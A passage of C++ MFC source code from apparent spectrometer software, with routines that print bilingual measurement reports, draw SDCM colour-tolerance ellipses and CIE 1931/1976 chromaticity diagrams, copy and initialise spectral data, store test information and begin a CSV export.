if(iPhType == PH_E)
strTemp = "光量子数(umol/m2/s):";
}
sStr = sStr + strTemp;
strTemp.Format("%.5g",fMol);
if(bPho == FALSE)
strTemp = " ";
sStr = sStr + strTemp;
if(g_bEnglish)
{
strTemp=" Fluo. and blue light ratio:";
}
else
{
strTemp=" 荧光蓝光比:";
}
sStr = sStr + strTemp;
strTemp = g_SPEC.sFormat(fEff1,4);
if(bPho == FALSE)
strTemp = " ";
sStr = sStr + strTemp;
if(g_bEnglish)
{
strTemp=" Fluorescent eff.:";
}
else
{
strTemp=" 荧光效能:";
}
sStr = sStr + strTemp;
strTemp = g_SPEC.sFormat(fEff2,4);
if(bPho == FALSE)
strTemp = " ";
sStr = sStr + strTemp;
pDC->TextOut(iX,iCurY,sStr);
iCurY=(int)(iCurY+1.0*Hn);
}
if(m_bHaveData&&m_fSpect1<300.0f)
{
CString strTemp;
sStr="";
strTemp=g_SPEC.sFormat(m_fKuv,4);
strTemp="Kuv= "+strTemp;
sStr=sStr+strTemp+" ";
strTemp=g_SPEC.sFormat(m_fK1,4);
strTemp="K1= "+strTemp;
sStr=sStr+strTemp+" ";
strTemp=g_SPEC.sFormat(m_fK2,4);
strTemp="K2= "+strTemp;
sStr=sStr+strTemp;
pDC->TextOut(iX,iCurY,sStr);
iCurY=(int)(iCurY+1.0*Hn);
}
}
if(m_bTestF)
{
pDC->SelectObject(&Font1);
// iCurY=(int)(iCurY+0.6*Hn);
if(g_bEnglish)
pDC->TextOut(iX,iCurY,"Electrical parameters");
else
pDC->TextOut(iX,iCurY,"电参数");
pDC->SelectObject(&Font2);
iCurY=(int)(iCurY+1.3*Hn);
}
if(m_bTestF)
{
if(g_bEnglish)
sStr.Format("V = %s V I = %s A P = %s W PF = %s",g_SPEC.sFormat(m_fVF,4),g_SPEC.sFormat(m_fIF,4),g_SPEC.sFormat(m_fPow,4),g_SPEC.sFormat(m_fPF,4));
else
sStr.Format("电压 V = %s V 电流 I = %s A 功率 P = %s W 功率因数 PF = %s",g_SPEC.sFormat(m_fVF,4),g_SPEC.sFormat(m_fIF,4),g_SPEC.sFormat(m_fPow,4),g_SPEC.sFormat(m_fPF,4));
pDC->TextOut(iX,iCurY,sStr);
iCurY=(int)(iCurY+1.0*Hn);
}
if(strLevel!=""||strWhite!="")
{
CString sStr1 = "";
CString sStr2 = "";
if(strLevel == "")
{
if(g_bEnglish)
{
sStr.Format("WHITE:%s",strWhite);
}
else
{
sStr.Format("白光分类:%s",strWhite);
}
}
else if(strWhite == "")
{
if(g_bEnglish)
{
sStr.Format("LEVEL:%s",strLevel);
}
else
{
sStr.Format("分级:%s",strLevel);
}
}
else
{
if(g_bEnglish)
{
sStr.Format("LEVEL:%s WHITE:%s",strLevel,strWhite);
}
else
{
sStr.Format("分级:%s 白光分类:%s",strLevel,strWhite);
}
}
iCurY=(int)(iCurY+0.3*Hn);
pDC->TextOut(iX,iCurY,sStr);
iCurY=(int)(iCurY+1.0*Hn);
}
iCurY=(int)(iCurY+1.0*Hn);
pDC->SelectObject(&Font3);
if(g_bEnglish)
sStr.Format("Status: Integral T = %.0f ms Ip = %.0f (%.0f%%)",m_fIntTime,m_fIp,m_fIp*100.0f/(m_nADW-1));
else
sStr.Format("仪器状态: 积分时间 T = %.0f ms Ip = %.0f (%.0f%%)",m_fIntTime,m_fIp,m_fIp*100.0f/(m_nADW-1));
pDC->TextOut(iX,iCurY,sStr);
iCurY=(int)(iCurY+1.0*Hn);
pDC->SelectObject(&Font3);
CString sTemp;
pDC->TextOut(iX,iCurY,sStr);
pDC->SelectObject(pOldPen);
pDC->SelectObject(pOldFont);
}
void CSpectData::printColorErr(CDC *pDC, CRect mRect, float x, float y, int iSeleK, int iSDCM1, int iSDCM2)
{
CFont *pOldFont;
CFont Font1;
Font1.CreateFont(mRect.Height()/22,0,0,0,600,FALSE,FALSE,0,
ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"MS Sans Serif");
const int X_NUM = 7;
const int Y_NUM = 10;
float ou[21];
ou[16]=x;
ou[17]=y;
CPen *pOldPen;
CPen Pen1;
CPen Pen2;
CPen Pen3;
CPen Pen4;
if(0)
{
Pen1.CreatePen(PS_SOLID,2,RGB(0,0,0));
Pen2.CreatePen(PS_SOLID,3,RGB(255,0,0));
Pen3.CreatePen(PS_DASH,2,RGB(0,0,0));
Pen4.CreatePen(PS_SOLID,2,RGB(0,0,0));
}
else
{
Pen1.CreatePen(PS_SOLID,2,RGB(0,0,0));
Pen2.CreatePen(PS_SOLID,3,RGB(255,0,0));
Pen3.CreatePen(PS_DASH,2,RGB(0,0,0));
Pen4.CreatePen(PS_SOLID,2,RGB(0,0,255));
}
pOldFont=pDC->SelectObject(&Font1);
int i,j;
//float g[6][3]={86.0f,-40.0f,45.0f,56.0f,-25.0f,23.0f,39.5f,-21.5f,26.0f,38.0f,-20.0f,25.0f,39.0f,-19.5f,27.5f,44.0f,-18.6f,27.0f};
float mina;//,xy[6][2]={0.313f,0.337f,0.346f,0.359f,0.38f,0.38f,0.409f,0.394f,0.440f,0.403f,0.463f,0.42f};
//float sxy[6][2]={0.3f,0.32f,0.33f,0.340f,0.365f,0.360f,0.395f,0.375f,0.425f,0.380f,0.45f,0.4f};
float a[1000],deltx[2],delty[2],r,sita;
const float pi=3.14159f;
int stp=5,sig=-1,xs=473,ys=225,xe=473+150,ye=225+200,scalex,scaley;
//int f[6]={6500,5000,4000,3500,3000,2700};
char scal[40];
int Xinterval = (mRect.Width()) / (X_NUM + 2);
int Yinterval = (mRect.Height()) / (Y_NUM + 2);
xs=Xinterval;
ys=Yinterval;
xe = (X_NUM + 1) * Xinterval;
ye = (Y_NUM + 1) * Yinterval;
scalex = (int)(X_NUM * Xinterval / 0.03);
scaley = (int)(Y_NUM * Yinterval / 0.04);
int NN=g_doData.m_sdcm.GetSize();
for(i=0;i<NN;i++)
{
deltx[0]=ou[16]-g_doData.m_sdcm.GetAt(i)->m_fx;
delty[0]=ou[17]-g_doData.m_sdcm.GetAt(i)->m_fy;
a[i]=g_doData.m_sdcm.GetAt(i)->m_fg11*deltx[0]*deltx[0]+2*g_doData.m_sdcm.GetAt(i)->m_fg12*deltx[0]*delty[0]+g_doData.m_sdcm.GetAt(i)->m_fg22*delty[0]*delty[0];
a[i]=(float)(sqrt(a[i])*100.0);
}
if(iSeleK==NN)
{
mina=a[0];
sig=0;
for(i=0;i<NN;i++)
{
if(a[i]<mina)
{
mina=a[i];
sig=i;
}
}
}
else
{
mina=a[iSeleK];
sig=iSeleK;
}
pOldPen=pDC->SelectObject(&Pen1);
pDC->SetTextAlign(TA_LEFT);
pDC->Rectangle(mRect);
/*pDC->MoveTo(mRect.left+Xinterval,mRect.top+Yinterval);
pDC->LineTo(mRect.right-Xinterval,mRect.top+Yinterval);
pDC->LineTo(mRect.right-Xinterval,mRect.bottom-Yinterval);
pDC->LineTo(mRect.left+Xinterval,mRect.bottom-Yinterval);
pDC->LineTo(mRect.left+Xinterval,mRect.top+Yinterval);*/
CRect xRect;
xRect.left=mRect.left+Xinterval;
xRect.right=mRect.right-Xinterval;
xRect.top=mRect.top+Yinterval;
xRect.bottom=mRect.bottom-Yinterval;
pDC->Rectangle(xRect);
pDC->SelectObject(&Pen3);
for(i=1;i<X_NUM;i++)
{
pDC->MoveTo((int)(xRect.left+xRect.Width()*i*1.0f/X_NUM),xRect.top);
pDC->LineTo((int)(xRect.left+xRect.Width()*i*1.0f/X_NUM),xRect.bottom);
}
for(i=1;i<Y_NUM;i++)
{
pDC->MoveTo(xRect.left,(int)(xRect.top+xRect.Height()*(i*1.0f)/Y_NUM));
pDC->LineTo(xRect.right,(int)(xRect.top+xRect.Height()*(i*1.0f)/Y_NUM));
}
pDC->SetTextColor(RGB(255,0,0));
if(!g_bEnglish)
sprintf(scal,"色容差 %5.1f SDCM",mina);
else
sprintf(scal," %5.1f SDCM",mina);
pDC->SetTextColor(RGB(0,0,0));
pDC->TextOut(mRect.left+mRect.Width()/6-mRect.Width()/20,mRect.top+(int)(mRect.Height()*0.3/10),scal);
i=sig;
sprintf(scal,"x=%.3f y=%.3f %s",g_doData.m_sdcm.GetAt(i)->m_fx,g_doData.m_sdcm.GetAt(i)->m_fy,g_doData.m_sdcm.GetAt(i)->m_strName);
pDC->TextOut(mRect.left+mRect.Width()/6-mRect.Width()/20,mRect.bottom-(int)(mRect.Height()*1.5f/20),scal);
pDC->SelectObject(&Pen4);
sita=(float)(pi/180.0);
xe=xs+(int)((g_doData.m_sdcm.GetAt(i)->m_fx-g_doData.m_sdcm.GetAt(i)->m_fxs)*scalex);
ye=ys+(int)(Yinterval*8-(g_doData.m_sdcm.GetAt(i)->m_fy-g_doData.m_sdcm.GetAt(i)->m_fys)*scaley);
int iE=mRect.Width()/70;
pDC->Ellipse(mRect.left+xe-iE,mRect.top+ye-iE,mRect.left+xe+iE,mRect.top+ye+iE);
for(j=1;j<360;j+=stp)
{
r=(float)sqrt(g_doData.m_sdcm.GetAt(i)->m_fg11*(1+cos((2*j-2*stp)*sita))/2+g_doData.m_sdcm.GetAt(i)->m_fg12*sin((2*j-2*stp)*sita)+g_doData.m_sdcm.GetAt(i)->m_fg22*(1-cos((2*j-2*stp)*sita))/2);
r=(float)(0.01f*iSDCM1/r);
deltx[0]=(float)(r*cos((j-stp)*sita));
delty[0]=(float)(r*sin((j-stp)*sita));
r=(float)sqrt(g_doData.m_sdcm.GetAt(i)->m_fg11*(1+cos(2*j*sita))/2+g_doData.m_sdcm.GetAt(i)->m_fg12*sin(2*j*sita)+g_doData.m_sdcm.GetAt(i)->m_fg22*(1-cos(2*j*sita))/2);
r=(float)(0.01f*iSDCM1/r);
deltx[1]=(float)(r*cos(j*sita));
delty[1]=(float)(r*sin(j*sita));
pDC->MoveTo(mRect.left+xe+(int)(deltx[0]*scalex),mRect.top+ye-(int)(delty[0]*scaley));
pDC->LineTo(mRect.left+xe+(int)(deltx[1]*scalex),mRect.top+ye-(int)(delty[1]*scaley));
if(j%2)
{
r=(float)sqrt(g_doData.m_sdcm.GetAt(i)->m_fg11*(1+cos((2*j-2*stp)*sita))/2+g_doData.m_sdcm.GetAt(i)->m_fg12*sin((2*j-2*stp)*sita)+g_doData.m_sdcm.GetAt(i)->m_fg22*(1-cos((2*j-2*stp)*sita))/2);
r=(float)(0.01f*iSDCM2/r);
deltx[0]=(float)(r*cos((j-stp)*sita));
delty[0]=(float)(r*sin((j-stp)*sita));
r=(float)sqrt(g_doData.m_sdcm.GetAt(i)->m_fg11*(1+cos(2*j*sita))/2+g_doData.m_sdcm.GetAt(i)->m_fg12*sin(2*j*sita)+g_doData.m_sdcm.GetAt(i)->m_fg22*(1-cos(2*j*sita))/2);
r=(float)(0.01f*iSDCM2/r);
deltx[1]=(float)(r*cos(j*sita));
delty[1]=(float)(r*sin(j*sita));
pDC->MoveTo(mRect.left+xe+(int)(deltx[0]*scalex),mRect.top+ye-(int)(delty[0]*scaley));
pDC->LineTo(mRect.left+xe+(int)(deltx[1]*scalex),mRect.top+ye-(int)(delty[1]*scaley));
}
}
if(ou[16]<g_doData.m_sdcm.GetAt(i)->m_fxs) deltx[0]=g_doData.m_sdcm.GetAt(i)->m_fxs;
else if(ou[16]>(g_doData.m_sdcm.GetAt(i)->m_fxs+0.03)) deltx[0]=(float)(g_doData.m_sdcm.GetAt(i)->m_fxs+0.03);
else deltx[0]=ou[16];
if(ou[17]<g_doData.m_sdcm.GetAt(i)->m_fys) delty[0]=g_doData.m_sdcm.GetAt(i)->m_fys;
else if(ou[17]>(g_doData.m_sdcm.GetAt(i)->m_fys+0.04)) delty[0]=(float)(g_doData.m_sdcm.GetAt(i)->m_fys+0.04);
else delty[0]=ou[17];
xs=xs+(int)((deltx[0]-g_doData.m_sdcm.GetAt(i)->m_fxs)*scalex);
ys=ys+(int)(Yinterval*8-(delty[0]-g_doData.m_sdcm.GetAt(i)->m_fys)*scaley);
pDC->SelectObject(&Pen2);
pDC->MoveTo(mRect.left+xs-mRect.Height()/50,mRect.top+ys);
pDC->LineTo(mRect.left+xs+mRect.Height()/50,mRect.top+ys);
pDC->MoveTo(mRect.left+xs,mRect.top+ys-mRect.Height()/50);
pDC->LineTo(mRect.left+xs,mRect.top+ys+mRect.Height()/50);
pDC->SelectObject(pOldPen);
pDC->SelectObject(pOldFont);
}
void CSpectData::DrawCIE(CDC *pDC,CRect mRect)
{
CPen *pOldPen;
CPen Pen1,Pen2;
Pen1.CreatePen(PS_SOLID,1,RGB(0,0,255));
Pen2.CreatePen(PS_SOLID,2,RGB(0,0,255));
CRect xRect;
xRect.left = (int)(mRect.Width() * 0.0f / 100);
xRect.right = (int)(mRect.Width() - mRect.Width() * 1 / 100.0f);
xRect.top = (int)(mRect.Height() * 0 / 11.0f);
xRect.bottom= (int)(mRect.Height()-mRect.Height() * 1 / 100.0f);
pOldPen = pDC->SelectObject(&Pen1);
if(0)
{
pDC->MoveTo(xRect.left, xRect.top);
pDC->LineTo(xRect.left, xRect.bottom);
pDC->LineTo(xRect.right,xRect.bottom);
pDC->LineTo(xRect.right,xRect.top);
}
pDC->SelectObject(&Pen2);
pDC->SetTextAlign(TA_RIGHT);
pDC->SetBkMode(TRANSPARENT);
pDC->SetTextColor(RGB(0,0,255));
CString sTemp;
sTemp.Format("x = %.4f y = %.4f",m_x, m_y);
if(m_bHaveData)
{
pDC->TextOut(xRect.right - xRect.Width() / 20,xRect.top + xRect.Height() / 20, sTemp);
}
if(m_fCCT > 1000 && m_fCCT < 100000)
{
sTemp.Format("CCT = %.0fK", m_fCCT);
}
else if(m_fCCT <= 1000)
{
sTemp.Format("CCT <= 1000K");
}
else
{
sTemp.Format("CCT >= 100000K");
}
if(m_bHaveData)
{
pDC->TextOut(xRect.right-xRect.Width()/10, xRect.top+xRect.Height()/8,sTemp);
}
int xx,yy;
xx = (int)(xRect.left+m_x*xRect.Width()/0.8f+0.5f);
yy = (int)(xRect.bottom-m_y*xRect.Height()/0.9f+0.5f);
int x,y;
x = (int)(xRect.left + (m_x + 0.1f) * xRect.Width() + 0.5f);
y = (int)(xRect.bottom - (m_y + 0.1f) * xRect.Height() *10 / 11 + 0.5f);
int iM = 5;
if(m_bHaveData)
{
pDC->MoveTo(x-iM,y);
pDC->LineTo(x+iM,y);
pDC->MoveTo(x,y-iM);
pDC->LineTo(x,y+iM);
}
pDC->SelectObject(pOldPen);
}
void CSpectData::DrawCIE_UV(CDC *pDC,CRect mRect)
{
//画CIE1976
CPen *pOldPen;
CPen Pen1,Pen2;
Pen1.CreatePen(PS_SOLID,1,RGB(0,0,255));
Pen2.CreatePen(PS_SOLID,2,RGB(0,0,255));
CRect xRect;
xRect.left = (int)(mRect.Width() * 5.0f / 100);
xRect.right = (int)(mRect.Width() - mRect.Width() * 6 / 100.0f);
xRect.top = (int)(mRect.Height() * 12 / 100.0f);
xRect.bottom= (int)(mRect.Height()-mRect.Height() * 7.7f / 100.0f);
pOldPen = pDC->SelectObject(&Pen1);
if(0)
{
pDC->MoveTo(xRect.left, xRect.top);
pDC->LineTo(xRect.left, xRect.bottom);
pDC->LineTo(xRect.right,xRect.bottom);
pDC->LineTo(xRect.right,xRect.top);
}
pDC->SelectObject(&Pen2);
pDC->SetTextAlign(TA_RIGHT);
pDC->SetBkMode(TRANSPARENT);
pDC->SetTextColor(RGB(0,0,255));
CString sTemp;
sTemp.Format("u'= %.4f v'= %.4f",m_u, m_v);
if(m_bHaveData)
{
pDC->TextOut(xRect.right - xRect.Width() / 20,xRect.top + xRect.Height() / 20, sTemp);
}
if(m_fCCT > 1000 && m_fCCT < 100000)
{
sTemp.Format("CCT = %.0fK", m_fCCT);
}
else if(m_fCCT <= 1000)
{
sTemp.Format("CCT <= 1000K");
}
else
{
sTemp.Format("CCT >= 100000K");
}
if(m_bHaveData)
{
pDC->TextOut(xRect.right-xRect.Width()/10, xRect.top+xRect.Height()/8,sTemp);
}
int x,y;
x = (int)(xRect.left + m_u * xRect.Width() * 10.0f / 7.0f + 0.5f);
y = (int)(xRect.bottom - m_v * xRect.Height() * 10.0f / 6.0f + 0.5f);
int iM = 5;
if(m_bHaveData)
{
pDC->MoveTo(x-iM,y);
pDC->LineTo(x+iM,y);
pDC->MoveTo(x,y-iM);
pDC->LineTo(x,y+iM);
}
pDC->SelectObject(pOldPen);
}
void CSpectData::printCIE(CDC *pDC, CRect mRect, float x, float y, float fTc)
{
CFont *pOldFont;
CFont Font1;
Font1.CreateFont(mRect.Height()/20,0,0,0,800,FALSE,FALSE,0,
ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"Courier New");
pOldFont=pDC->SelectObject(&Font1);
CPen *pOldPen;
CPen Pen1,Pen2;
Pen1.CreatePen(PS_SOLID,3,RGB(0,0,0));
Pen2.CreatePen(PS_SOLID,2,RGB(0,0,0));
pOldPen=pDC->SelectObject(&Pen1);
// Scale the temporary image.
g_doData.m_ImageCIE_xy.Stretch( mRect.Width(), mRect.Height() );
// Set the palette and draw.
// if( GetFocus() == this )
// m_Image.SetPalette( pDC );
g_doData.m_ImageCIE_xy.Draw( pDC,mRect.left,mRect.top,mRect.Width(),mRect.Height() );
CRect xRect;
xRect.left = (int)(mRect.left);
xRect.right = (int)(mRect.right);
xRect.top = (int)(mRect.top);
xRect.bottom= (int)(mRect.bottom);
if(1)
{
pDC->MoveTo(xRect.left,xRect.top);
pDC->LineTo(xRect.left,xRect.bottom);
pDC->LineTo(xRect.right,xRect.bottom);
pDC->LineTo(xRect.right,xRect.top);
}
if(1)
{
pDC->MoveTo(mRect.left,mRect.top);
pDC->LineTo(mRect.left,mRect.bottom);
pDC->LineTo(mRect.right,mRect.bottom);
pDC->LineTo(mRect.right,mRect.top);
pDC->LineTo(mRect.left,mRect.top);
}
// pDC->SelectObject(&Pen2);
pDC->SetTextAlign(TA_LEFT);
pDC->SetBkMode(OPAQUE);
pDC->TextOut(mRect.left,mRect.top+mRect.Height()/150,"CIE1931 NAHON ");
pDC->SetTextAlign(TA_RIGHT);
pDC->SetBkMode(TRANSPARENT);
pDC->SetTextColor(RGB(0,0,0));
CString sTemp;
sTemp.Format("x = %.4f y = %.4f",x,y);
pDC->TextOut(xRect.right-xRect.Width()/20,xRect.top+xRect.Height()/20,sTemp);
if(fTc>1000&&fTc<100000)
{
sTemp.Format("CCT = %.0fK",fTc);
}
else if(fTc<=1000)
{
sTemp.Format("CCT <= 1000K");
}
else
{
sTemp.Format("CCT >= 100000K");
}
pDC->TextOut(xRect.right-xRect.Width()/10,xRect.top+xRect.Height()/8,sTemp);
int xx,yy;
// xx = (int)(xRect.left+x*xRect.Width()/0.8f+0.5f);
// yy = (int)(xRect.bottom-y*xRect.Height()/0.9f+0.5f);
xx = (int)(xRect.left + (m_x + 0.1f) * xRect.Width() + 0.5f);
yy = (int)(xRect.bottom - (m_y + 0.1f) * xRect.Height() *10 / 11 + 0.5f);
int iM = xRect.Width()/30;
pDC->MoveTo(xx-iM,yy);
pDC->LineTo(xx+iM,yy);
pDC->MoveTo(xx,yy-iM);
pDC->LineTo(xx,yy+iM);
pDC->SetTextColor(RGB(0,0,0));
pDC->SelectObject(pOldPen);
pDC->SelectObject(pOldFont);
}
void CSpectData::printCIE_UV(CDC *pDC, CRect mRect, float u, float v, float fTc)
{
CFont *pOldFont;
CFont Font1;
Font1.CreateFont(mRect.Height()/20,0,0,0,800,FALSE,FALSE,0,
ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"Courier New");
pOldFont=pDC->SelectObject(&Font1);
CPen *pOldPen;
CPen Pen1,Pen2;
Pen1.CreatePen(PS_SOLID,3,RGB(0,0,0));
Pen2.CreatePen(PS_SOLID,2,RGB(0,0,0));
pOldPen=pDC->SelectObject(&Pen1);
// Scale the temporary image.
g_doData.m_ImageCIE_uv.Stretch( mRect.Width(), mRect.Height() );
// Set the palette and draw.
// if( GetFocus() == this )
// m_Image.SetPalette( pDC );
g_doData.m_ImageCIE_uv.Draw( pDC,mRect.left,mRect.top,mRect.Width(),mRect.Height() );
CRect xRect;
xRect.left = (int)(mRect.left + mRect.Width() * 5.0f / 100);
xRect.right = (int)(mRect.left + mRect.Width() - mRect.Width() * 6 / 100.0f);
xRect.top = (int)(mRect.top + mRect.Height() * 12 / 100.0f);
xRect.bottom= (int)(mRect.top + mRect.Height()-mRect.Height() * 7.7f / 100.0f);
if(1)
{
pDC->MoveTo(xRect.left, xRect.top);
pDC->LineTo(xRect.left, xRect.bottom);
pDC->LineTo(xRect.right,xRect.bottom);
pDC->LineTo(xRect.right,xRect.top);
}
if(1)
{
pDC->MoveTo(mRect.left, mRect.top);
pDC->LineTo(mRect.left, mRect.bottom);
pDC->LineTo(mRect.right,mRect.bottom);
pDC->LineTo(mRect.right,mRect.top);
pDC->LineTo(mRect.left, mRect.top);
}
// pDC->SelectObject(&Pen2);
pDC->SetTextAlign(TA_LEFT);
pDC->SetBkMode(OPAQUE);
pDC->TextOut(mRect.left,mRect.top+mRect.Height()/150,"CIE1976 NAHON");
pDC->SetTextAlign(TA_RIGHT);
pDC->SetBkMode(TRANSPARENT);
pDC->SetTextColor(RGB(0,0,0));
CString sTemp;
sTemp.Format("u'= %.4f v'= %.4f",u,v);
pDC->TextOut(xRect.right-xRect.Width()/20,xRect.top+xRect.Height()/20,sTemp);
if(fTc>1000&&fTc<100000)
{
sTemp.Format("CCT = %.0fK",fTc);
}
else if(fTc<=1000)
{
sTemp.Format("CCT <= 1000K");
}
else
{
sTemp.Format("CCT >= 100000K");
}
pDC->TextOut(xRect.right-xRect.Width()/10,xRect.top+xRect.Height()/8,sTemp);
int xx,yy;
xx = (int)(xRect.left + m_u * xRect.Width() * 10.0f / 7.0f + 0.5f);
yy = (int)(xRect.bottom - m_v * xRect.Height() * 10.0f / 6.0f + 0.5f);
int iM = xRect.Width() / 30;
pDC->MoveTo(xx - iM, yy);
pDC->LineTo(xx + iM, yy);
pDC->MoveTo(xx, yy - iM);
pDC->LineTo(xx, yy + iM);
pDC->SetTextColor(RGB(0,0,0));
pDC->SelectObject(pOldPen);
pDC->SelectObject(pOldFont);
}
void CSpectData::Copy(const CSpectData &spData)
{
//
m_bTestF = spData.m_bTestF;
m_fVF = spData.m_fVF;
m_fIF = spData.m_fIF;
m_fPow = spData.m_fPow;
m_fPF = spData.m_fPF;
m_iTestType = spData.m_iTestType;
m_bTestPH = spData.m_bTestPH;
m_fDistance = spData.m_fDistance;
m_fPH = spData.m_fPH;
//sp
m_bHaveData = spData.m_bHaveData;
m_bHaveColorPara = spData.m_bHaveColorPara;
m_iDataType = spData.m_iDataType;
m_fIntTime = spData.m_fIntTime;
m_fInterval = spData.m_fInterval;
m_fSpect1 = spData.m_fSpect1;
m_fSpect2 = spData.m_fSpect2;
int i,iN;
iN = spData.m_fRelSpect.GetSize();
m_fRelSpect.RemoveAll();
for(i = 0; i < iN; i++)
{
m_fRelSpect.Add(spData.m_fRelSpect[i]);
}
m_fIntTime = spData.m_fIntTime;
m_nADW = spData.m_nADW;
m_fPlambda = spData.m_fPlambda;
m_fPh = spData.m_fPh;
m_fPh_e = spData.m_fPh_e;
m_strAngleView=spData.m_strAngleView;
m_x = spData.m_x;
m_y = spData.m_y;
m_u = spData.m_u;
m_v = spData.m_v;
m_fCCT = spData.m_fCCT;
m_fdc = spData.m_fdc;
m_fRedRatio = spData.m_fRedRatio;
m_fGreenRatio= spData.m_fGreenRatio;
m_fBlueRatio = spData.m_fBlueRatio;
m_fMainlambda= spData.m_fMainlambda;
m_fMaxlambda = spData.m_fMaxlambda;
m_fPurity = spData.m_fPurity;
m_fHalflambda= spData.m_fHalflambda;
m_fRa = spData.m_fRa;
for(i=0;i<15;i++)
m_fRi[i] = spData.m_fRi[i];
m_fKuv = spData.m_fKuv;
m_fK1 = spData.m_fK1;
m_fK2 = spData.m_fK2;
m_fEnTMP = spData.m_fEnTMP;
m_strName = spData.m_strName;
m_iLamp = spData.m_iLamp;
//测试信息
m_strModel = spData.m_strModel;
m_strNumber = spData.m_strNumber;
m_strFactory = spData.m_strFactory;
m_strT = spData.m_strT;
m_strH = spData.m_strH;
m_strTester = spData.m_strTester;
m_strDate = spData.m_strDate;
m_strRemark = spData.m_strRemark;
m_strCompany = spData.m_strCompany;
m_strAddr = spData.m_strAddr;
m_strSampleName = spData.m_strSampleName;
m_strSampleState = spData.m_strSampleState;
m_strSampleStandard = spData.m_strSampleStandard;
m_strColorCorrectStr = spData.m_strColorCorrectStr;
m_strFilter = spData.m_strFilter;
m_strSN = spData.m_strSN;
}
CSpectData& CSpectData::operator =(const CSpectData &spData)
{
Copy(spData);
return *this;
}
void CSpectData::Init()
{
m_iCoolState = 1;
m_strFilter = "";
m_iLamp = 0;
//
m_bTestF = FALSE;
m_fVF = 0; //V
m_fIF = 0; //mA
m_fPow = 0;
m_fPF = 1;
m_iTestType = 1;
m_bTestPH = FALSE;
m_fDistance = 0.1f;
m_fPH = 0;
m_fPh = 0;
//
m_bHaveData = FALSE;
m_bHaveColorPara = FALSE;
m_nADW = 65535;
m_iDataType = TYPE_SCAN;
m_fRelSpect.RemoveAll();
m_fSpect1 = g_SPEC.T_SPECT1;
m_fSpect2 = g_SPEC.T_SPECT2;
m_fInterval = 1.0f;
int iN = 421;
int i;
m_x = m_y = 0;
m_u = m_v = 0;
m_fCCT = 0;
m_fRedRatio = 0;
m_fMainlambda= 0;
m_fMaxlambda = 0;
m_fPurity = 0;
m_fHalflambda= 0;
m_fRa = 0;
for(i = 0; i < 15; i++)
{
m_fRi[i] = i * 1.0f;
}
m_fE_SP1 = g_SPEC.T_SPECT1;
m_fE_SP2 = g_SPEC.T_SPECT2;
m_fEnTMP = 20;
m_strAngleView = g_SPEC.m_strViewL_Name[g_SPEC.m_iSeleL];
m_fKuv = 0;
m_fK1 = 0;
m_fK2 = 0;
m_strColorCorrectStr = "";
}
void CSpectData::RD_Info()
{
CString strSection = "SpectraNexus Info";
CString strModel = "Model";
CString strNumber = "Number";
CString strFactory = "Factory";
CString strT = "T";
CString strH = "H";
CString strTester = "Tester";
CString strRemark = "Remark";
m_strModel = AfxGetApp()->GetProfileString(strSection,strModel, "LIGHT");
m_strNumber = AfxGetApp()->GetProfileString(strSection,strNumber, "N-00000");
m_strFactory = AfxGetApp()->GetProfileString(strSection,strFactory, "NAHON");
m_strT = AfxGetApp()->GetProfileString(strSection,strT, "25.3");
m_strH = AfxGetApp()->GetProfileString(strSection,strH, "65.0");
m_strTester = AfxGetApp()->GetProfileString(strSection,strTester, "DAMIN");
m_strRemark = AfxGetApp()->GetProfileString(strSection,strRemark, "---");
CString str_m_strSampleName = _T("m_strSampleName");
CString str_m_strSampleStandard = _T("m_strSampleStandard");
CString str_m_strSampleState = _T("m_strSampleState");
m_strSampleName = AfxGetApp()->GetProfileString(strSection, str_m_strSampleName, _T(""));
m_strSampleStandard = AfxGetApp()->GetProfileString(strSection, str_m_strSampleStandard, _T(""));
m_strSampleState = AfxGetApp()->GetProfileString(strSection, str_m_strSampleState, _T(""));
}
void CSpectData::WR_Info()
{
CString strSection = "SpectraNexus Info";
CString strModel = "Model";
CString strNumber = "Number";
CString strFactory = "Factory";
CString strT = "T";
CString strH = "H";
CString strTester = "Tester";
CString strRemark = "Remark";
AfxGetApp()->WriteProfileString(strSection,strModel,m_strModel);
AfxGetApp()->WriteProfileString(strSection,strNumber,m_strNumber);
AfxGetApp()->WriteProfileString(strSection,strFactory,m_strFactory);
AfxGetApp()->WriteProfileString(strSection,strT,m_strT);
AfxGetApp()->WriteProfileString(strSection,strH,m_strH);
AfxGetApp()->WriteProfileString(strSection,strTester,m_strTester);
AfxGetApp()->WriteProfileString(strSection,strRemark,m_strRemark);
CString str_m_strSampleName = _T("m_strSampleName");
CString str_m_strSampleStandard = _T("m_strSampleStandard");
CString str_m_strSampleState = _T("m_strSampleState");
AfxGetApp()->WriteProfileString(strSection, str_m_strSampleName, m_strSampleName);
AfxGetApp()->WriteProfileString(strSection, str_m_strSampleStandard, m_strSampleStandard);
AfxGetApp()->WriteProfileString(strSection, str_m_strSampleState, m_strSampleState);
}
BOOL CSpectData::Export_CSV(CString strPathName,float fIntervalWL)
{
FILE *fp;
if((fp = fopen(strPathName,"wt")) == 0)
{
if(g_bEnglish)
{
AfxMessageBox("Save file fail!", MB_ICONINFORMATION);
}
else
{
AfxMessageBox("保存文件失败!", MB_ICONINFORMATION);
}
return FALSE;
}
else
{
int i;
CString strTemp;
CString sUnit = " ";
if(m_iTestType == 0)
{
sUnit = "";
}
else if(m_iTestType == 1)
{
sUnit = "(mW/nm)";
}
else if(m_iTestType == 2)
{
sUnit = "(mW/m2/nm)";
}
else if(m_iTestType == 3)
{
sUnit = "(mW/sr/nm)";
}
else if(m_iTestType == 4)
{
sUnit = "(mW/m2/sr/nm)";
}
if(g_bEnglish)
{
strTemp = "WL(nm)";
fprintf(fp,strTemp);
fprintf(fp," ");
strTemp = "PL";
fprintf(fp,strTemp);
fprintf(fp," ");
strTemp = "PE" + sUnit;
fprintf(fp,strTemp);
fprintf(fp," ");
}
else
{
strTemp = "WL(nm)";
fprintf(fp,strTemp);
fprintf(fp," ");
strTemp = "相对光谱";
fprintf(fp,strTemp);
fprintf(fp," ");
strTemp = "绝对光谱" + sUnit;
fprintf(fp,strTemp);
fprintf(fp," ");
}
fprintf(fp,"\n");
int NN;
if(fIntervalWL < m_fInterval)
{
fIntervalWL = m_fInterval;
}
